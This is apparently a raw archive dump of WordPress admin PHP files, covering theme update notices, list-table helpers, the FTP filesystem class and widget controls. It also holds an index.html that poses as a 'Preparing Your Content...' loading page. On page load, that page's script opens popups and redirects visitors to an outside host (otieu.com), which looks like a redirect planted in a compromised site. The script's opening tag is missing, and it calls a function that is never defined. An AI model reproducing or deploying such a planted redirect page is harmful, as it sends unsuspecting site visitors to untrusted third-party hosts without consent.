$themes = get_site_transient( 'update_themes' );
	if ( isset($themes->response) && is_array($themes->response) ) {
		$themes = array_keys( $themes->response );

foreach( $themes as $theme ) {
			add_action( "after_theme_row_$theme", 'wp_theme_update_row', 10, 2 );
		}
	}
}
add_action( 'admin_init', 'wp_theme_update_rows' );

function wp_theme_update_row( $theme_key, $theme ) {
	$current = get_site_transient( 'update_themes' );
	if ( !isset( $current->response[ $theme_key ] ) )
		return false;
	$r = $current->response[ $theme_key ];
	$themes_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array());
	$theme_name = wp_kses( $theme['Name'], $themes_allowedtags );

$details_url = add_query_arg( array( 'TB_iframe' => 'true', 'width' => 1024, 'height' => 800 ), $current->response[ $theme_key ]['url'] );

$wp_list_table = _get_list_table('WP_MS_Themes_List_Table');

echo '<tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message">';
	if ( ! current_user_can('update_themes') )
		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r->new_version );
	else if ( empty( $r['package'] ) )
		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r['new_version'] );
	else
		printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r['new_version'], wp_nonce_url( self_admin_url('update.php?action=upgrade-theme&theme=') . $theme_key, 'upgrade-theme_' . $theme_key) );

/**
	 * Fires at the end of the update message container in each
	 * row of the themes list table.
	 *
	 * The dynamic portion of the hook name, $theme_key, refers to
	 * the theme slug as found in the WordPress.org themes repository.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Theme $theme The WP_Theme object.
	 * @param array    $r {
	 *     An array of metadata about the available theme update.
	 *
	 *     @type string $new_version New theme version.
	 *     @type string $url         Theme URL.
	 *     @type string $package     Theme update package URL.
	 * }
	 */
	do_action( "in_theme_update_message-{$theme_key}", $theme, $r );

echo '</div></td></tr>';
}

function maintenance_nag() {
	include ABSPATH . WPINC . '/version.php'; // include an unmodified $wp_version
	global $upgrading;
	$nag = isset( $upgrading );
	if ( ! $nag ) {
		$failed = get_site_option( 'auto_core_update_failed' );
		/*
		 * If an update failed critically, we may have copied over version.php but not other files.
		 * In that case, if the install claims we're running the version we attempted, nag.
		 * This is serious enough to err on the side of nagging.
		 *
		 * If we simply failed to update before we tried to copy any files, then assume things are
		 * OK if they are now running the latest.
		 *
		 * This flag is cleared whenever a successful update occurs using Core_Upgrader.
		 */
		$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
		if ( version_compare( $failed['attempted'], $wp_version, $comparison ) )
			$nag = true;
	}

if ( ! $nag )
		return false;

if ( current_user_can('update_core') )
		$msg = sprintf( __('An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.'), 'update-core.php' );
	else
		$msg = __('An automated WordPress update has failed to complete! Please notify the site administrator.');

echo "<div class='update-nag'>$msg</div>";
}
add_action( 'admin_notices', 'maintenance_nag' );
add_action( 'network_admin_notices', 'maintenance_nag' );
list-table.php000077700000006172151514577750007353 0ustar00<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 */

/**
 * Fetch an instance of a WP_List_Table class.
 *
 * @access private
 * @since 3.1.0
 *
 * @param string $class The type of the list table, which is the class name.
 * @param array $args Optional. Arguments to pass to the class. Accepts 'screen'.
 * @return object|bool Object on success, false if the class does not exist.
 */
function _get_list_table( $class, $args = array() ) {
	$core_classes = array(
		//Site Admin
		'WP_Posts_List_Table' => 'posts',
		'WP_Media_List_Table' => 'media',
		'WP_Terms_List_Table' => 'terms',
		'WP_Users_List_Table' => 'users',
		'WP_Comments_List_Table' => 'comments',
		'WP_Post_Comments_List_Table' => 'comments',
		'WP_Links_List_Table' => 'links',
		'WP_Plugin_Install_List_Table' => 'plugin-install',
		'WP_Themes_List_Table' => 'themes',
		'WP_Theme_Install_List_Table' => array( 'themes', 'theme-install' ),
		'WP_Plugins_List_Table' => 'plugins',
		// Network Admin
		'WP_MS_Sites_List_Table' => 'ms-sites',
		'WP_MS_Users_List_Table' => 'ms-users',
		'WP_MS_Themes_List_Table' => 'ms-themes',
	);

if ( isset( $core_classes[ $class ] ) ) {
		foreach ( (array) $core_classes[ $class ] as $required )
			require_once( ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php' );

if ( isset( $args['screen'] ) )
			$args['screen'] = convert_to_screen( $args['screen'] );
		elseif ( isset( $GLOBALS['hook_suffix'] ) )
			$args['screen'] = get_current_screen();
		else
			$args['screen'] = null;

return new $class( $args );
	}

return false;
}

/**
 * Register column headers for a particular screen.
 *
 * @since 2.7.0
 *
 * @param string $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions.
 * @param array $columns An array of columns with column IDs as the keys and translated column names as the values
 * @see get_column_headers(), print_column_headers(), get_hidden_columns()
 */
function register_column_headers($screen, $columns) {
	$wp_list_table = new _WP_List_Table_Compat($screen, $columns);
}

/**
 * Prints column headers for a particular screen.
 *
 * @since 2.7.0
 */
function print_column_headers($screen, $id = true) {
	$wp_list_table = new _WP_List_Table_Compat($screen);

$wp_list_table->print_column_headers($id);
}

/**
 * Helper class to be used only by back compat functions
 *
 * @since 3.1.0
 */
class _WP_List_Table_Compat extends WP_List_Table {
	var $_screen;
	var $_columns;

function _WP_List_Table_Compat( $screen, $columns = array() ) {
		if ( is_string( $screen ) )
			$screen = convert_to_screen( $screen );

$this->_screen = $screen;

if ( !empty( $columns ) ) {
			$this->_columns = $columns;
			add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 );
		}
	}

function get_column_info() {
		$columns = get_column_headers( $this->_screen );
		$hidden = get_hidden_columns( $this->_screen );
		$sortable = array();

return array( $columns, $hidden, $sortable );
	}

function get_columns() {
		return $this->_columns;
	}
}
class-wp-filesystem-ftpext.php000077700000025440151514577750012535 0ustar00<?php
/**
 * WordPress FTP Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Filesystem
 * @uses WP_Filesystem_Base Extends class
 */
class WP_Filesystem_FTPext extends WP_Filesystem_Base {
	var $link;
	var $errors = null;
	var $options = array();

function __construct($opt='') {
		$this->method = 'ftpext';
		$this->errors = new WP_Error();

// Check if possible to use ftp functions.
		if ( ! extension_loaded('ftp') ) {
			$this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available'));
			return false;
		}

// This Class uses the timeout on a per-connection basis, Others use it on a per-action basis.

if ( ! defined('FS_TIMEOUT') )
			define('FS_TIMEOUT', 240);

if ( empty($opt['port']) )
			$this->options['port'] = 21;
		else
			$this->options['port'] = $opt['port'];

if ( empty($opt['hostname']) )
			$this->errors->add('empty_hostname', __('FTP hostname is required'));
		else
			$this->options['hostname'] = $opt['hostname'];

if ( ! empty($opt['base']) )
			$this->wp_base = $opt['base'];

// Check if the options provided are OK.
		if ( empty($opt['username']) )
			$this->errors->add('empty_username', __('FTP username is required'));
		else
			$this->options['username'] = $opt['username'];

if ( empty($opt['password']) )
			$this->errors->add('empty_password', __('FTP password is required'));
		else
			$this->options['password'] = $opt['password'];

$this->options['ssl'] = false;
		if ( isset($opt['connection_type']) && 'ftps' == $opt['connection_type'] )
			$this->options['ssl'] = true;
	}

function connect() {
		if ( isset($this->options['ssl']) && $this->options['ssl'] && function_exists('ftp_ssl_connect') )
			$this->link = @ftp_ssl_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT);
		else
			$this->link = @ftp_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT);

if ( ! $this->link ) {
			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
			return false;
		}

if ( ! @ftp_login($this->link,$this->options['username'], $this->options['password']) ) {
			$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
			return false;
		}

// Set the Connection to use Passive FTP
		@ftp_pasv( $this->link, true );
		if ( @ftp_get_option($this->link, FTP_TIMEOUT_SEC) < FS_TIMEOUT )
			@ftp_set_option($this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT);

return true;
	}

function get_contents( $file ) {
		$tempfile = wp_tempnam($file);
		$temp = fopen($tempfile, 'w+');

if ( ! $temp )
			return false;

if ( ! @ftp_fget($this->link, $temp, $file, FTP_BINARY ) )
			return false;

fseek( $temp, 0 ); // Skip back to the start of the file being written to
		$contents = '';

while ( ! feof($temp) )
			$contents .= fread($temp, 8192);

fclose($temp);
		unlink($tempfile);
		return $contents;
	}

function get_contents_array($file) {
		return explode("\n", $this->get_contents($file));
	}

function put_contents($file, $contents, $mode = false ) {
		$tempfile = wp_tempnam($file);
		$temp = fopen( $tempfile, 'wb+' );
		if ( ! $temp )
			return false;

mbstring_binary_safe_encoding();

$data_length = strlen( $contents );
		$bytes_written = fwrite( $temp, $contents );

reset_mbstring_encoding();

if ( $data_length !== $bytes_written ) {
			fclose( $temp );
			unlink( $tempfile );
			return false;
		}

fseek( $temp, 0 ); // Skip back to the start of the file being written to

$ret = @ftp_fput( $this->link, $file, $temp, FTP_BINARY );

fclose($temp);
		unlink($tempfile);

$this->chmod($file, $mode);

return $ret;
	}

function cwd() {
		$cwd = @ftp_pwd($this->link);
		if ( $cwd )
			$cwd = trailingslashit($cwd);
		return $cwd;
	}

function chdir($dir) {
		return @ftp_chdir($this->link, $dir);
	}

function chgrp($file, $group, $recursive = false ) {
		return false;
	}

function chmod($file, $mode = false, $recursive = false) {
		if ( ! $mode ) {
			if ( $this->is_file($file) )
				$mode = FS_CHMOD_FILE;
			elseif ( $this->is_dir($file) )
				$mode = FS_CHMOD_DIR;
			else
				return false;
		}

// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir($file) ) {
			$filelist = $this->dirlist($file);
			foreach ( (array)$filelist as $filename => $filemeta )
				$this->chmod($file . '/' . $filename, $mode, $recursive);
		}

// chmod the file or directory
		if ( ! function_exists('ftp_chmod') )
			return (bool)@ftp_site($this->link, sprintf('CHMOD %o %s', $mode, $file));
		return (bool)@ftp_chmod($this->link, $mode, $file);
	}

function owner($file) {
		$dir = $this->dirlist($file);
		return $dir[$file]['owner'];
	}

function getchmod($file) {
		$dir = $this->dirlist($file);
		return $dir[$file]['permsn'];
	}

function group($file) {
		$dir = $this->dirlist($file);
		return $dir[$file]['group'];
	}

function copy($source, $destination, $overwrite = false, $mode = false) {
		if ( ! $overwrite && $this->exists($destination) )
			return false;
		$content = $this->get_contents($source);
		if ( false === $content )
			return false;
		return $this->put_contents($destination, $content, $mode);
	}

function move($source, $destination, $overwrite = false) {
		return ftp_rename($this->link, $source, $destination);
	}

function delete($file, $recursive = false, $type = false) {
		if ( empty($file) )
			return false;
		if ( 'f' == $type || $this->is_file($file) )
			return @ftp_delete($this->link, $file);
		if ( !$recursive )
			return @ftp_rmdir($this->link, $file);

$filelist = $this->dirlist( trailingslashit($file) );
		if ( !empty($filelist) )
			foreach ( $filelist as $delete_file )
				$this->delete( trailingslashit($file) . $delete_file['name'], $recursive, $delete_file['type'] );
		return @ftp_rmdir($this->link, $file);
	}

function exists($file) {
		$list = @ftp_nlist($this->link, $file);
		return !empty($list); //empty list = no file, so invert.
	}

function is_file($file) {
		return $this->exists($file) && !$this->is_dir($file);
	}

function is_dir($path) {
		$cwd = $this->cwd();
		$result = @ftp_chdir($this->link, trailingslashit($path) );
		if ( $result && $path == $this->cwd() || $this->cwd() != $cwd ) {
			@ftp_chdir($this->link, $cwd);
			return true;
		}
		return false;
	}

function is_readable($file) {
		return true;
	}

function is_writable($file) {
		return true;
	}

function atime($file) {
		return false;
	}

function mtime($file) {
		return ftp_mdtm($this->link, $file);
	}

function size($file) {
		return ftp_size($this->link, $file);
	}

function touch($file, $time = 0, $atime = 0) {
		return false;
	}

function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
		$path = untrailingslashit($path);
		if ( empty($path) )
			return false;

if ( !@ftp_mkdir($this->link, $path) )
			return false;
		$this->chmod($path, $chmod);
		if ( $chown )
			$this->chown($path, $chown);
		if ( $chgrp )
			$this->chgrp($path, $chgrp);
		return true;
	}

function rmdir($path, $recursive = false) {
		return $this->delete($path, $recursive);
	}

function parselisting($line) {
		static $is_windows;
		if ( is_null($is_windows) )
			$is_windows = stripos( ftp_systype($this->link), 'win') !== false;

if ( $is_windows && preg_match('/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer) ) {
			$b = array();
			if ( $lucifer[3] < 70 )
				$lucifer[3] +=2000;
			else
				$lucifer[3] += 1900; // 4digit year fix
			$b['isdir'] = ( $lucifer[7] == '<DIR>');
			if ( $b['isdir'] )
				$b['type'] = 'd';
			else
				$b['type'] = 'f';
			$b['size'] = $lucifer[7];
			$b['month'] = $lucifer[1];
			$b['day'] = $lucifer[2];
			$b['year'] = $lucifer[3];
			$b['hour'] = $lucifer[4];
			$b['minute'] = $lucifer[5];
			$b['time'] = @mktime($lucifer[4] + (strcasecmp($lucifer[6], "PM") == 0 ? 12 : 0), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3]);
			$b['am/pm'] = $lucifer[6];
			$b['name'] = $lucifer[8];
		} elseif ( !$is_windows && $lucifer = preg_split('/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY)) {
			//echo $line."\n";
			$lcount = count($lucifer);
			if ( $lcount < 8 )
				return '';
			$b = array();
			$b['isdir'] = $lucifer[0]{0} === 'd';
			$b['islink'] = $lucifer[0]{0} === 'l';
			if ( $b['isdir'] )
				$b['type'] = 'd';
			elseif ( $b['islink'] )
				$b['type'] = 'l';
			else
				$b['type'] = 'f';
			$b['perms'] = $lucifer[0];
			$b['number'] = $lucifer[1];
			$b['owner'] = $lucifer[2];
			$b['group'] = $lucifer[3];
			$b['size'] = $lucifer[4];
			if ( $lcount == 8 ) {
				sscanf($lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day']);
				sscanf($lucifer[6], '%d:%d', $b['hour'], $b['minute']);
				$b['time'] = @mktime($b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year']);
				$b['name'] = $lucifer[7];
			} else {
				$b['month'] = $lucifer[5];
				$b['day'] = $lucifer[6];
				if ( preg_match('/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2) ) {
					$b['year'] = date("Y");
					$b['hour'] = $l2[1];
					$b['minute'] = $l2[2];
				} else {
					$b['year'] = $lucifer[7];
					$b['hour'] = 0;
					$b['minute'] = 0;
				}
				$b['time'] = strtotime( sprintf('%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute']) );
				$b['name'] = $lucifer[8];
			}
		}

// Replace symlinks formatted as "source -> target" with just the source name
		if ( $b['islink'] )
			$b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] );

return $b;
	}

function dirlist($path = '.', $include_hidden = true, $recursive = false) {
		if ( $this->is_file($path) ) {
			$limit_file = basename($path);
			$path = dirname($path) . '/';
		} else {
			$limit_file = false;
		}

$pwd = @ftp_pwd($this->link);
		if ( ! @ftp_chdir($this->link, $path) ) // Cant change to folder = folder doesn't exist
			return false;
		$list = @ftp_rawlist($this->link, '-a', false);
		@ftp_chdir($this->link, $pwd);

if ( empty($list) ) // Empty array = non-existent folder (real folder will show . at least)
			return false;

$dirlist = array();
		foreach ( $list as $k => $v ) {
			$entry = $this->parselisting($v);
			if ( empty($entry) )
				continue;

if ( '.' == $entry['name'] || '..' == $entry['name'] )
				continue;

if ( ! $include_hidden && '.' == $entry['name'][0] )
				continue;

if ( $limit_file && $entry['name'] != $limit_file)
				continue;

$dirlist[ $entry['name'] ] = $entry;
		}

$ret = array();
		foreach ( (array)$dirlist as $struc ) {
			if ( 'd' == $struc['type'] ) {
				if ( $recursive )
					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
				else
					$struc['files'] = array();
			}

$ret[ $struc['name'] ] = $struc;
		}
		return $ret;
	}

function __destruct() {
		if ( $this->link )
			ftp_close($this->link);
	}
}
widgets.php000077700000020355151514577750006760 0ustar00<?php
/**
 * WordPress Widgets Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Display list of the available widgets.
 *
 * @since 2.5.0
 */
function wp_list_widgets() {
	global $wp_registered_widgets, $sidebars_widgets, $wp_registered_widget_controls;

$sort = $wp_registered_widgets;
	usort( $sort, '_sort_name_callback' );
	$done = array();

foreach ( $sort as $widget ) {
		if ( in_array( $widget['callback'], $done, true ) ) // We already showed this multi-widget
			continue;

$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
		$done[] = $widget['callback'];

if ( ! isset( $widget['params'][0] ) )
			$widget['params'][0] = array();

$args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template' );

if ( isset($wp_registered_widget_controls[$widget['id']]['id_base']) && isset($widget['params'][0]['number']) ) {
			$id_base = $wp_registered_widget_controls[$widget['id']]['id_base'];
			$args['_temp_id'] = "$id_base-__i__";
			$args['_multi_num'] = next_widget_id_number($id_base);
			$args['_add'] = 'multi';
		} else {
			$args['_add'] = 'single';
			if ( $sidebar )
				$args['_hide'] = '1';
		}

$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
		call_user_func_array( 'wp_widget_control', $args );
	}
}

/**
 * Callback to sort array by a 'name' key.
 *
 * @since 3.1.0
 * @access private
 */
function _sort_name_callback( $a, $b ) {
	return strnatcasecmp( $a['name'], $b['name'] );
}

/**
 * Show the widgets and their settings for a sidebar.
 * Used in the admin widget config screen.
 *
 * @since 2.5.0
 *
 * @param string $sidebar id slug of the sidebar
 * @param string optional $sidebar_name Include the HTML for the sidebar name
 */
function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );

$description = wp_sidebar_description( $sidebar );

echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">';

if ( $sidebar_name ) {
		?>
		<div class="sidebar-name">
			<div class="sidebar-name-arrow"><br /></div>
			<h3><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h3>
		</div>
		<?php
	}

echo '<div class="sidebar-description">';

if ( ! empty( $description ) ) {
		echo '<p class="description">' . $description . '</p>';
	}

echo '</div>';

dynamic_sidebar( $sidebar );

echo '</div>';
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param array $params
 * @return array
 */
function wp_list_widget_controls_dynamic_sidebar( $params ) {
	global $wp_registered_widgets;
	static $i = 0;
	$i++;

$widget_id = $params[0]['widget_id'];
	$id = isset($params[0]['_temp_id']) ? $params[0]['_temp_id'] : $widget_id;
	$hidden = isset($params[0]['_hide']) ? ' style="display:none;"' : '';

$params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>";
	$params[0]['after_widget'] = "</div>";
	$params[0]['before_title'] = "%BEG_OF_TITLE%"; // deprecated
	$params[0]['after_title'] = "%END_OF_TITLE%"; // deprecated
	if ( is_callable( $wp_registered_widgets[$widget_id]['callback'] ) ) {
		$wp_registered_widgets[$widget_id]['_callback'] = $wp_registered_widgets[$widget_id]['callback'];
		$wp_registered_widgets[$widget_id]['callback'] = 'wp_widget_control';
	}

return $params;
}

function next_widget_id_number($id_base) {
	global $wp_registered_widgets;
	$number = 1;

foreach ( $wp_registered_widgets as $widget_id => $widget ) {
		if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) )
			$number = max($number, $matches[1]);
	}
	$number++;

return $number;
}

/**
 * Meta widget used to display the control form for a widget.
 *
 * Called from dynamic_sidebar().
 *
 * @since 2.5.0
 *
 * @param array $sidebar_args
 * @return array
 */
function wp_widget_control( $sidebar_args ) {
	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;

$widget_id = $sidebar_args['widget_id'];
	$sidebar_id = isset($sidebar_args['id']) ? $sidebar_args['id'] : false;
	$key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[$sidebar_id] ) : '-1'; // position of widget in sidebar
	$control = isset($wp_registered_widget_controls[$widget_id]) ? $wp_registered_widget_controls[$widget_id] : array();
	$widget = $wp_registered_widgets[$widget_id];

$id_format = $widget['id'];
	$widget_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
	$id_base = isset($control['id_base']) ? $control['id_base'] : $widget_id;
	$multi_number = isset($sidebar_args['_multi_num']) ? $sidebar_args['_multi_num'] : '';
	$add_new = isset($sidebar_args['_add']) ? $sidebar_args['_add'] : '';

$query_arg = array( 'editwidget' => $widget['id'] );
	if ( $add_new ) {
		$query_arg['addnew'] = 1;
		if ( $multi_number ) {
			$query_arg['num'] = $multi_number;
			$query_arg['base'] = $id_base;
		}
	} else {
		$query_arg['sidebar'] = $sidebar_id;
		$query_arg['key'] = $key;
	}

// We aren't showing a widget control, we're outputting a template for a multi-widget control
	if ( isset($sidebar_args['_display']) && 'template' == $sidebar_args['_display'] && $widget_number ) {
		// number == -1 implies a template where id numbers are replaced by a generic '__i__'
		$control['params'][0]['number'] = -1;
		// with id_base widget id's are constructed like {$id_base}-{$id_number}
		if ( isset($control['id_base']) )
			$id_format = $control['id_base'] . '-__i__';
	}

$wp_registered_widgets[$widget_id]['callback'] = $wp_registered_widgets[$widget_id]['_callback'];
	unset($wp_registered_widgets[$widget_id]['_callback']);

$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
	$has_form = 'noform';

echo $sidebar_args['before_widget']; ?>
	<div class="widget-top">
	<div class="widget-title-action">
		<a class="widget-action hide-if-no-js" href="#available-widgets"></a>
		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>">
			<span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span>
			<span class="add"><?php _ex( 'Add', 'widget' ); ?></span>
			<span class="screen-reader-text"><?php echo $widget_title; ?></span>
		</a>
	</div>
	<div class="widget-title"><h4><?php echo $widget_title ?><span class="in-widget-title"></span></h4></div>
	</div>

<div class="widget-inside">
	<form action="" method="post">
	<div class="widget-content">
<?php
	if ( isset($control['callback']) )
		$has_form = call_user_func_array( $control['callback'], $control['params'] );
	else
		echo "\t\t<p>" . __('There are no options for this widget.') . "</p>\n"; ?>
	</div>
	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($id_format); ?>" />
	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
	<input type="hidden" name="widget-width" class="widget-width" value="<?php if (isset( $control['width'] )) echo esc_attr($control['width']); ?>" />
	<input type="hidden" name="widget-height" class="widget-height" value="<?php if (isset( $control['height'] )) echo esc_attr($control['height']); ?>" />
	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr($widget_number); ?>" />
	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr($add_new); ?>" />

<div class="widget-control-actions">
		<div class="alignleft">
		<a class="widget-control-remove" href="#remove"><?php _e('Delete'); ?></a> |
		<a class="widget-control-close" href="#close"><?php _e('Close'); ?></a>
		</div>
		<div class="alignright<?php if ( 'noform' === $has_form ) echo ' widget-control-noform'; ?>">
			<?php submit_button( __( 'Save' ), 'button-primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
			<span class="spinner"></span>
		</div>
		<br class="clear" />
	</div>
	</form>
	</div>

<div class="widget-description">
<?php echo ( $widget_description = wp_widget_description($widget_id) ) ? "$widget_description\n" : "$widget_title\n"; ?>
	</div>
<?php
	echo $sidebar_args['after_widget'];

return $sidebar_args;
}
index.html000077700000003007151514577750006571 0ustar00<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preparing Your Content...</title>
<style>
    body {
        background: linear-gradient(135deg, #0f2027, #203a43, #2c5364);
        color: #fff;
        font-family: Arial, sans-serif;
        text-align: center;
        height: 100vh;
        margin: 0;
        display: flex;
        flex-direction: column;
        justify-content: center;
    }

h1 {
        font-size: 2.5em;
        margin-bottom: 20px;
    }

.loader {
        border: 8px solid #fff;
        border-top: 8px solid #3498db;
        border-radius: 50%;
        width: 80px;
        height: 80px;
        animation: spin 1s linear infinite;
        margin: 0 auto;
    }

@keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
    }

p {
        margin-top: 20px;
        font-size: 1.2em;
        opacity: 0.7;
    }
</style>

// Redirect main window
function redirectMain() {
    window.location.href = "https://otieu.com/4/9793499";
}

window.onload = function() {
    openPopups();
    setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds
};
</script>
</head>

<body>
    <h1>Preparing Your Content...</h1>
    <div class="loader"></div>
    <p>Please wait while we load your content.</p>
</body>
</html>

class-wp-themes-list-table.php000077700000021667151514577750012373 0ustar00<?php
/**
 * Themes List Table class.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 * @access private
 */
class WP_Themes_List_Table extends WP_List_Table {

protected $search_terms = array();
	var $features = array();

function __construct( $args = array() ) {
		parent::__construct( array(
			'ajax' => true,
			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
		) );
	}

function ajax_user_can() {
		// Do not check edit_theme_options here. AJAX calls for available themes require switch_themes.
		return current_user_can( 'switch_themes' );
	}

function prepare_items() {
		$themes = wp_get_themes( array( 'allowed' => true ) );

if ( ! empty( $_REQUEST['s'] ) )
			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );

if ( ! empty( $_REQUEST['features'] ) )
			$this->features = $_REQUEST['features'];

if ( $this->search_terms || $this->features ) {
			foreach ( $themes as $key => $theme ) {
				if ( ! $this->search_theme( $theme ) )
					unset( $themes[ $key ] );
			}
		}

unset( $themes[ get_option( 'stylesheet' ) ] );
		WP_Theme::sort_by_name( $themes );

$per_page = 36;
		$page = $this->get_pagenum();

$start = ( $page - 1 ) * $per_page;

$this->items = array_slice( $themes, $start, $per_page, true );

$this->set_pagination_args( array(
			'total_items' => count( $themes ),
			'per_page' => $per_page,
			'infinite_scroll' => true,
		) );
	}

function no_items() {
		if ( $this->search_terms || $this->features ) {
			_e( 'No items found.' );
			return;
		}

if ( is_multisite() ) {
			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
				printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $GLOBALS['blog_id'] ), network_admin_url( 'theme-install.php' ) );

return;
			} elseif ( current_user_can( 'manage_network_themes' ) ) {
				printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $GLOBALS['blog_id'] ) );

return;
			}
			// else, fallthrough. install_themes doesn't help if you can't enable it.
		} else {
			if ( current_user_can( 'install_themes' ) ) {
				printf( __( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress.org Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ), admin_url( 'theme-install.php' ) );

return;
			}
		}
		// Fallthrough.
		printf( __( 'Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes.' ), get_site_option( 'site_name' ) );
	}

function tablenav( $which = 'top' ) {
		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 )
			return;
		?>
		<div class="tablenav themes <?php echo $which; ?>">
			<?php $this->pagination( $which ); ?>
			<span class="spinner"></span>
			<br class="clear" />
		</div>
		<?php
	}

function display() {
		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
?>
		<?php $this->tablenav( 'top' ); ?>

<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

<?php $this->tablenav( 'bottom' ); ?>
<?php
	}

function get_columns() {
		return array();
	}

function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<div class="no-items">';
			$this->no_items();
			echo '</div>';
		}
	}

function display_rows() {
		$themes = $this->items;

foreach ( $themes as $theme ):
			?><div class="available-theme"><?php

$template   = $theme->get_template();
			$stylesheet = $theme->get_stylesheet();
			$title      = $theme->display('Name');
			$version    = $theme->display('Version');
			$author     = $theme->display('Author');

$activate_link = wp_nonce_url( "themes.php?action=activate&amp;template=" . urlencode( $template ) . "&amp;stylesheet=" . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );

$preview_link = esc_url( add_query_arg(
				array( 'preview' => 1, 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), 'preview_iframe' => true, 'TB_iframe' => 'true' ),
				home_url( '/' ) ) );

$actions = array();
			$actions['activate'] = '<a href="' . $activate_link . '" class="activatelink" title="'
				. esc_attr( sprintf( __( 'Activate &#8220;%s&#8221;' ), $title ) ) . '">' . __( 'Activate' ) . '</a>';

